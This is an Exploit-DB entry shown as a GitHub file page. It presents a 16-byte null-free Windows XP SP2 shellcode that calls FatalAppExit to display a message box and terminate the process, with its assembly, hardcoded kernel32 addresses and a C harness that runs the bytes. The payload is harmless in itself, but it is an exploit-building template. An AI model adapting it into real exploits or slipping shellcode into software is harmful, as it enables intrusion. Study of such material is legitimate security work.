forked from offensive-security/exploitdb
-
Notifications
You must be signed in to change notification settings - Fork 1
Expand file tree
/
Copy path13581.txt
More file actions
executable file
·91 lines (56 loc) · 1.99 KB
/
Copy path13581.txt
File metadata and controls
executable file
·91 lines (56 loc) · 1.99 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
+-----------------------------------------------------+
| Windows XP Pro Sp2 English "Message-Box" Shellcode. |
+-----------------------------------------------------+
Size : 16 Bytes, Null-Free.
Author : Aodrulez.
Email : f3arm3d3ar@gmail.com
Shellcode = "\xB9\x78\x68\x82\x7C\x33\xC0\xBB"
"\xF8\x0C\x86\x7C\x51\x50\xFF\xD3"
+--------------+
| Description: |
+--------------+
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
I've used a Function called "FatalAppExit".
The Benefits are Three-Fold!
1] Displays a MessageBox.
2] Terminates the Process.
3] Its there in Kernel32.dll itself.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+-----------+
| Asm Code: |
+-----------+
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
shellcode:
mov ecx,7c826878h ;"Admin" string in mem
xor eax,eax
mov ebx,7c860cf8h ;Addr of "FatalAppExit()"
push ecx ;function from Kernel32
push eax
call ebx ;App does a Clean Exit.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+-----------------+
| Shellcodetest.c |
+-----------------+
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
char code[] = "\xB9\x78\x68\x82\x7C\x33\xC0\xBB"
"\xF8\x0C\x86\x7C\x51\x50\xFF\xD3";
int main(int argc, char **argv)
{
int (*func)();
func = (int (*)()) code;
(int)(*func)();
}
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+-------------------+
| Greetz Fly Out To |
+-------------------+
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
1] Amforked() : My Mentor.
2] The Blue Genius : My Boss.
3] www.orchidseven.com
4] str0ke
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+---------------------------------------------+
| Forgive, O Lord, My Little Jokes on Thee, |
| and I'll Forgive Thy Great Big Joke on Me. |
+---------------------------------------------+